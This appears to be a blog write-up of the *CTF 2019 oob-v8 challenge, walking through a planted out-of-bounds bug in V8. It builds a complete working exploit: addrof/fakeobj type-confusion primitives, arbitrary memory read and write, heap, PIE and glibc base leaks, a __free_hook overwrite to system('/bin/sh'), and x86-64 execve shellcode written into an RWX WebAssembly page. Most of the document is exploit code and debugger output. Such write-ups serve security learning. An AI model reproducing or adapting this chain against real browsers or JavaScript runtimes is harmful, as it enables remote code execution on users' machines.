V8 Exploit - Revisiting oob-v8 *CTF2019
- Published on
Recently, I start to maintain a repo related to 'web-pwn' in the github, which refer to the exploitation of memory-related vulnerabilities within essential web components like browsers, JavaScript runtimes, PHP runtimes, and others.
Refer to: https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
0 Vulnerability
The challenge manully introduced a vulnerability that allows us to achieve a out-of-bound write at the end of array by one index.
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
1 Memory Layout
Try with the simplest JavaScript file and check the memory layout, I find out that the end of array elements is JSArray object itself. By leveraging the oob vulnerability, it means that we can overwrite the Map field of the JSArray object.
let a = [1.1, 2.2, 3.3];
%DebugPrint(a);
Math.cosh(1);
![double-array-1](/_next/image?url=%2Fstatic%2Fimages%2Fv8-exploit-revisiting-starCTF-2019-oob-v8%2Fdouble-array-1.jpg&w=3840&q=75)
![double-array-2](/_next/image?url=%2Fstatic%2Fimages%2Fv8-exploit-revisiting-starCTF-2019-oob-v8%2Fdouble-array-2.jpg&w=3840&q=75)
2 Type Confusion
Overwriting the Map field in a JSArray object can lead to type confusion in V8, JavaScript's engine. This field determines the type of an array's elements and how they are accessed:
Array of Objects: When we define an array containing objects and access an element (e.g., at index 0), V8 interprets the value at this index as a pointer to an object. For instance, accessing this element would result in V8 fetching and printing the referenced object.
Array of Floats: Conversely, in an array of floating-point numbers, accessing an element directly yields the floating-point value. Here, V8 treats the value at the index as a float value.
So, if we can overwrite the Map field of a array of object to an array of float, it will treat its element as float value which actually is a object pointer.
By leveraging the type confusion here, we can leak arbitrary object's address:
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var fl_arr = [1.1, 1.2, 1.3, 1.4];
var map1 = obj_arr.oob();
var map2 = fl_arr.oob();
obj_arr.oob(map2);
let addr = obj_arr[0];
console.log("[+] addr of temp_obj: 0x" + ftoi(addr).toString(16));
// [+] addr of temp_obj: 0x2c4b4c4eab1
In contrast, we can foo the V8 to treat an arbitrary float value (4 bytes) as an object.
fl_arr.oob(map1);
let fakeobj = fl_arr[0]; // treat 1.1 in hex format as an address of object
console.log("[+] fakeobj: 0x" + ftoi(fakeobj).toString(16));
Therefore, we can get two basic exploit primitives: addrof
and fakeobj
.
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var fl_arr = [1.1, 1.2, 1.3, 1.4];
var map1 = obj_arr.oob();
var map2 = fl_arr.oob();
function addrof(in_obj) {
// First, put the obj whose address we want to find into index 0
obj_arr[0] = in_obj;
// Change the obj array's map to the float array's map
obj_arr.oob(map2);
// Get the address by accessing index 0
let addr = obj_arr[0];
// Set the map back
obj_arr.oob(map1);
// Return the address as a BigInt
return ftoi(addr);
}
function fakeobj(addr) {
// First, put the address as a float into index 0 of the float array
fl_arr[0] = itof(addr);
// Change the float array's map to the obj array's map
fl_arr.oob(map1);
// Get a "fake" object at that memory location and store it
let fake = fl_arr[0];
// Set the map back
fl_arr.oob(map2);
// Return the object
return fake;
}
Here is the helper functions:
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
3 Arbitrary Read & Write Primitives
Arbitrary Read Primitive
To establish an arbitrary address read primitive using addrof
and fakeobj
, the process involves manipulating a float array and creating a fake object. Here's a concise explanation of the steps:
- Create a Float Array: Start with a float array of exactly four elements. The element object of this array will be positioned at the lower
0x30
of the float array object. - Create a Fake Object: Transform the elements into a fake object, with the type set as a float array.
- Place Target Address: Position the target address at element[2] of the float array. This position will be interpreted as the element field of the fake object.
- Access the Fake Object: By accessing index 0 of the fake object, V8 attempts to retrieve the value at
target address + 0x10
.
![arbitrary-read-primitive](/_next/image?url=%2Fstatic%2Fimages%2Fv8-exploit-revisiting-starCTF-2019-oob-v8%2Farbitrary-read-primitive.jpg&w=3840&q=75)
// If we want to leak the following string:
let target_string = "AAAAAAAA";
let target_string_addr = addrof(target_string);
console.log("[+] Address of target string: 0x" + target_string_addr.toString(16));
// %SystemBreak();
// [+] Address of target string: 0xc6a37f9f3c9
// (gdb) x/32xw 0xc6a37f9f3c9-1
// 0xc6a37f9f3c8: 0xd9840461 0x00003369 0xe62bbeea 0x00000008
// 0xc6a37f9f3d8: 0x41414141 0x41414141 0xd9840461 0x00003369 <-- target_string
// 0xc6a37f9f3e8: 0xfe1f98a6 0x00000012 0x67726174 0x735f7465
let floatArray = [1.1, 1.2, 1.3, 1.4];
let floatArrayMap = floatArray.oob();
floatArray[0] = floatArrayMap;
floatArray[2] = itof(BigInt(target_string_addr));
console.log("[+] Leak address of floatArray: 0x" + addrof(floatArray).toString(16));
// %SystemBreak();
// [+] Leak address of floatArray: 0x3dbbd148f619
// (gdb) x/32xw 0x3dbbd148f619-1-0x30
// 0x3dbbd148f5e8: 0xd98414f9 0x00003369 0x00000000 0x00000004 <-- FixedDoubleArray
// 0x3dbbd148f5f8: 0x43142ed9 0x00003fb1 0x33333333 0x3ff33333
// 0x3dbbd148f608: 0x37f9f3c9 0x00000c6a 0x66666666 0x3ff66666 <-- elements[2]
// 0x3dbbd148f618: 0x43142ed9 0x00003fb1 0xd9840c71 0x00003369 <-- JSArray
// 0x3dbbd148f628: 0xd148f5e9 0x00003dbb 0x00000000 0x00000004 <-- elements ptr
// 0x3dbbd148f638: 0xd9840561 0x00003369 0x43142ed9 0x00003fb1
// 0x3dbbd148f648: 0xd98412c9 0x00003369 0x00000000 0x00000001
// 0x3dbbd148f658: 0x00000000 0x00000400 0xd98413b9 0x00003369
let fakeArray = fakeobj(addrof(floatArray)-0x20n);
console.log("[+] Leak: 0x" + ftoi(fakeArray[0]).toString(16)); // Leak the value at target_string_addr + 0x10
The primitive code:
// This array is what we will use to read from and write to arbitrary memory addresses
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// We have to use tagged pointers for reading, so we tag the addr
if (addr % 2n == 0)
addr += 1n;
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to read_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Index 0 will then return the value at read_addr
return ftoi(fake[0]);
}
Arbitrary Write Primitive
According to the blog that if we reuse the arbirary read primitive and try to overwrite the fakeobj[0]
, it won't work on some addresses (e.g. free_hook addr). However, overwrite the string field (valid JS runtime object field) in the above example is still working.
let target_string = "AAAAAAAA";
let target_string_addr = addrof(target_string);
console.log("[+] Address of target string: 0x" + target_string_addr.toString(16));
let floatArray = [1.1, 1.2, 1.3, 1.4];
let floatArrayMap = floatArray.oob();
floatArray[0] = floatArrayMap;
floatArray[2] = itof(BigInt(target_string_addr));
console.log("[+] Leak address of floatArray: 0x" + addrof(floatArray).toString(16));
let fakeArray = fakeobj(addrof(floatArray)-0x20n);
console.log("[+] Leak: 0x" + ftoi(fakeArray[0]).toString(16)); // Leak the value at target_string_addr + 0x10
console.log("[+] Try to overwrite to this value: " + itof(BigInt(0x4242424242424242)));
fakeArray[0] = itof(BigInt(0x4242424242424242));
console.log("[+] Leak fakeArray[0]: " + fakeArray[0]);
console.log("[+] Leak target_string: " + target_string)
// OUTPUT
root@48d3ec3e0728:/build/v8/v8# ./out.gn/x64.release/d8 --allow-natives-syntax /solve/solve.js
[+] Address of target string: 0x24bf42cdf3c9
[+] Leak address of floatArray: 0x292080f9f9
[+] Leak: 0x4141414141414141
[+] Try to overwrite to this value: 156842099844.53125
[+] Leak fakeArray[0]: 156842099844.53125
[+] Leak target_string: DBBBBBB // this is because BigInt -> Float -> (Char)Byte has loss of accuracy
Therefore, we can achieve a initial version of arbitrary address overwrite and try to build a more powerful arbitrary address overwrite primitive.
function initial_arb_write(addr, val) {
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to write_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0 as a floating point value
fake[0] = itof(BigInt(val));
}
A more robust version
To achieve a more robust version of arbitrary address write primitive, we need to use ArrayBuffer
and DataView
object. These two object types provide a more low-level access for raw binary data buffer: ArrayBuffer
represent an array of bytes (e.g. byte array), and DataView
provides a way to define how would you interpret these bytes.
Instead of using a Array of float, we use the Array of bytes (i.e. ArrayBuffer
) and try to overwrite its backing_store
(which can be seen as the elements
field of the Array of float).
![arbitrary-write-primitive](/_next/image?url=%2Fstatic%2Fimages%2Fv8-exploit-revisiting-starCTF-2019-oob-v8%2Farbitrary-write-primitive.jpg&w=3840&q=75)
function arb_write(addr, val) {
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
dataview.setBigUint64(0, BigInt(val), true);
}
4 Overwrite __free_hook to system
After creating the primitives, we now need to leak the glibc base address, where __free_hook
and system
symbol has a fixed offset to. Currently, all the JS runtime objects will be allocated on the page allocated by V8's memory allocator (V8's heap) which is apart from the heap allocated by ptmalloc
. Therefore, we need to leak the address of other pages (e.g. text segement, heap or glibc) on the V8's heap.
Leak heap space
(gdb) search-pattern 0x000055d8 little 0x0000101634300000-0x0000101634340000
[+] Searching '\xd8\x55\x00\x00' in 0x0000101634300000-0x0000101634340000
[+] In (0x101634300000-0x101634340000), permission=rw-
0x101634300014 - 0x101634300024 → "\xd8\x55\x00\x00[...]"
0x10163430001c - 0x10163430002c → "\xd8\x55\x00\x00[...]"
// buf_addr = 0x10163430ddd0
// v8_heap_base_addr = buf_addr & 0xffffffff0000n
let buf_addr = addrof(buf);
let v8_heap_base_addr = buf_addr & 0xffffffff0000n
let heap_ptr_addr = v8_heap_base_addr + 0x10n;
let heap_ptr = arb_read(heap_ptr_addr);
let heap_base = heap_ptr
console.log("[+] Leak a Heap pointer: 0x" + heap_ptr.toString(16));
// OUTPUT
root@48d3ec3e0728:/build/v8/v8# ./out.gn/x64.release/d8 --allow-natives-syntax /solve/solve.js
[+] Leak a Heap pointer: 0x555809da46d0
[+] Heap base address: 0x555809d2c000
Leak text segment
Similarly, we search the heap space and see whether there is a pointer that points to glibc or text segment.
(gdb) search-pattern 0x0000558485 little 0x0000558487367000-0x0000558487415000
[+] Searching '\x85\x84\x55\x00\x00' in 0x0000558487367000-0x0000558487415000
[+] In '[heap]'(0x558487367000-0x558487415000), permission=rw-
0x55848736966b - 0x55848736967f → "\x85\x84\x55\x00\x00[...]"
(gdb) x/32xw 0x558487369668
0x558487369668: 0x85c259b5 0x00005584 0x0000001d 0x00000000
0x558487369678: 0x87369a80 0x00005584 0x00000000 0x65757274
let text_seg_ptr= arb_read(heap_base_addr + 0x2668n);
let pie_base_addr = text_seg_ptr - 0xBE9B5n;
console.log("[+] Leak a PIE pointer: 0x" + pie_base_addr.toString(16));
Leak glibc
Once we leak the PIE base, we can leak the puts_got
symbol which is located at the .got
segement and points to the function on the glibc page.
(gdb) got puts
GOT protection: Full RelRO | GOT functions: 228
[0x5644e9dfe3b8] puts@GLIBC_2.2.5 → 0x7fd36c527970
let puts_got_addr = pie_base_addr + 0xD9A3B8n;
let puts_addr = arb_read(puts_got_addr);
let libc_base_addr = puts_addr - 0x80970n;
console.log("[+] Leak a libc pointer: 0x" + libc_base_addr.toString(16));
Overwrite the __free_hook to system
Then, we try to calculate the offset of __free_hook
and system
on within glibc.
(gdb) p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7f55961f08e8 <__free_hook>
(gdb) p system
$2 = {int (const char *)} 0x7f5595e52420 <__libc_system>
let free_hook_addr = libc_base_addr + 0x3ed8e8n;
let system_addr = libc_base_addr + 0x4f420n;
arb_write(free_hook_addr, system_addr);
%SystemBreak();
// OUTPUT CHECK
(gdb) p __free_hook
$1 = (void (*)(void *, const void *)) 0x7fc5e6103420 <__libc_system>
Then, we just need that following line which will trigger system('/bin/sh')
when the /bin/sh
string is being freed.
console.log("/bin/sh");
5 Create RWX page with WebAssembly
Fot the JITed code, V8 will create a RW-
page during the compilation of the corresponding hot function and then turns the permission of the page to R-X
which means that once the JITed code has been allocated, we cannot overwrite it will our shellcode.
However, in the early version of V8, V8 will generate RWX page for WebAssembly.
// https://wasdk.github.io/WasmFiddle/
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
// OUTPUT
[+] RWX Wasm page addr: 0x7b54b655000
Then, we can copy our shellcode to that place.
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
// reference: https://www.anquanke.com/post/id/267518?hmsr=joyk.com&utm_source=joyk.com&utm_medium=referral#h3-14
var shellcode = [
0x99583b6a, 0x2fbb4852,
0x6e69622f, 0x5368732f,
0x57525f54, 0x050f5e54
];
copy_shellcode(rwx_page_addr, shellcode);
f();